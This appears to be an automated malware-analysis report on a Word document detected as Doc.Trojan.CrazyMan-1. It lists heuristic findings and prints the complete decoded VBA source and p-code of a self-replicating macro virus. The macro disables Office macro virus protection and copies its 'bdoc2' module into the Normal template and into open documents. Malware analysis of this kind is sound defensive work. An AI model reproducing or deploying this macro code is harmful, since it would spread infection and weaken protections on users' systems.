MALICIOUS
176
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
This malicious document contains VBA macros designed to disable macro virus protection and replicate themselves. The AutoOpen macro attempts to import the 'bdoc2' component into both the Normal template and the active document, potentially establishing persistence. The AutoClose macro contains a truncated message and attempts to disable alerts, further indicating malicious intent.
Heuristics 6
-
ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9363 bytes |
SHA-256: 9a59cb86ae79b94eadfa617024869cd1bf243079af33aff014b630ece201538c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = True
Options.ConfirmConversions = True
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "bdoc2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "bdoc2" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "ÓŔÔ¶µÄף¸Ł , ÉúČŐżěŔÖ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "bdoc2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "bdoc2" Then ActiveInstall = True
Next I
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub
Public Sub autoexec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = True
Options.VirusProtection = True
End Sub
' Processing file: /opt/analyzer/scan_staging/6653f61265e045609ebb228eab2e8745.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 3834 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError (Resume Next)
' Line #2:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #3:
' LitVarSpecial (True)
' Ld Options
' MemSt SaveNormalPrompt
' Line #4:
' LitVarSpecial (True)
' Ld Options
' MemSt ConfirmConversions
' Line #5:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #6:
' Ld I
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "bdoc2"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St NormInstall
' EndIf
' Line #7:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #8:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #9:
' Ld I
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "bdoc2"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St ActivInstall
' EndIf
' Line #10:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #11:
' Ld ActivInstall
' LitVarSpecial (True)
' Eq
' Ld NormInstall
' LitVarSpecial (True)
' Eq
' And
' If
' BoSImplicit
' GoTo Label_Exit
' EndIf
' Line #12:
' Ld ActivInstall
' LitVarSpecial (True)
' Eq
' Ld NormInstall
' LitVarSpecial (False)
' Eq
' And
' If
' BoSImplicit
' SetStmt
' Ld ActiveDocument
' Set Doc
' EndIf
' Line #13:
' Ld ActivInstall
' LitVarSpecial (False)
' Eq
' Ld NormInstall
' LitVarSpecial (True)
' Eq
' And
' If
' BoSImplicit
' SetStmt
' Ld NormalTemplate
' Set Doc
' EndIf
' Line #14:
' LitStr 0x000C "c:\bdoc2.txt"
' Paren
' LitStr 0x0005 "bdoc2"
' Ld Doc
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' ArgsMemCall Export 0x0001
' Line #15:
' Line #16:
' Ld ActiveInstall
' LitVarSpecial (True)
' Eq
' Ld NormInstall
' LitVarSpecial (False)
' Eq
' And
' IfBlock
' Line #17:
' LitStr 0x000C "c:\bdoc2.txt"
' Paren
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #18:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #19:
' ElseBlock
' Line #20:
' Ld ActiveDocument
' MemLd FullName
' St Dname
' Line #21:
' Ld Dname
' LitDI2 0x0008
' ArgsLd LBound$ 0x0002
' LitStr 0x0008 "Document"
' Eq
' If
' BoSImplicit
' GoTo Label_Exit
' EndIf
' Line #22:
' LitStr 0x000C "c:\bdoc2.txt"
' Paren
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #23:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld wdFormatDocument
' ParamNamed FileFormat
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' Line #24:
' EndIfBlock
' Line #25:
' Line #26:
' Label Label_Exit
' Line #27:
' LitVarSpecial (True)
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' MemSt Enabled
' Line #28:
' LitVarSpecial (True)
' Ld Application
' MemSt ScreenUpdating
' Line #29:
' Ld wdAlertsAll
' Ld Application
' MemSt DisplayAlerts
' Line #30:
' Ld wdCancelInterrupt
' Ld Application
' MemSt EnableCancelKey
' Line #31:
' EndSub
' Line #32:
' FuncDefn (Sub AutoClose())
' Line #33:
' OnError (Resume Next)
' Line #34:
' Ld Now
' ArgsLd Day 0x0001
' LitDI2 0x0002
' Eq
' Ld Now
' ArgsLd Month 0x0001
' LitDI2 0x0009
' Eq
' And
' If
' BoSImplicit
' LitStr 0x0018 "ÓŔÔ¶µÄף¸Ł , ÉúČŐżěŔÖ!!!"
' Ld vbCritical
' ArgsCall MsgBox 0x0002
' EndIf
' Line #35:
' Ld wdAlertsNone
' Ld Application
' MemSt DisplayAlerts
' Line #36:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #37:
' Ld I
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "bdoc2"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St NormInstall
' EndIf
' Line #38:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #39:
' StartForVariable
' Ld I
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #40:
' Ld I
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x0005 "bdoc2"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St ActiveInstall
' EndIf
' Line #41:
' StartForVariable
' Ld I
' EndForVariable
' NextVar
' Line #42:
' Ld ActiveInstall
' LitVarSpecial (True)
' Eq
' Ld NormInstall
' LitVarSpecial (True)
' Eq
' And
' If
' BoSImplicit
' GoTo Label_Exit
' EndIf
' Line #43:
' Ld ActiveInstall
' LitVarSpecial (True)
' Eq
' Ld NormInstall
' LitVarSpecial (False)
' Eq
' And
' IfBlock
' Line #44:
' LitStr 0x000C "c:\bdoc2.txt"
' Paren
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #45:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #46:
' ElseBlock
' Line #47:
' Ld ActiveDocument
' MemLd FullName
' St Dname
' Line #48:
' Ld Dname
' LitDI2 0x0008
' ArgsLd LBound$ 0x0002
' LitStr 0x0008 "Document"
' Eq
' If
' BoSImplicit
' GoTo Label_Exit
' EndIf
' Line #49:
' LitStr 0x000C "c:\bdoc2.txt"
' Paren
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemCall Import 0x0001
' Line #50:
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld wdFormatDocument
' ParamNamed FileFormat
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' Line #51:
' EndIfBlock
' Line #52:
' Label Label_Exit
' Line #53:
' EndSub
' Line #54:
' FuncDefn (Public Sub autoexec())
' Line #55:
' OnError (Resume Next)
' Line #56:
' LitVarSpecial (True)
' LitStr 0x0005 "Tools"
' ArgsLd CommandBars 0x0001
' MemSt Enabled
' Line #57:
' Ld wdAlertsNone
' Ld Application
' MemSt DisplayAlerts
' Line #58:
' LitVarSpecial (True)
' Ld Application
' MemSt ScreenUpdating
' Line #59:
' LitVarSpecial (True)
' Ld Options
' MemSt VirusProtection
' Line #60:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.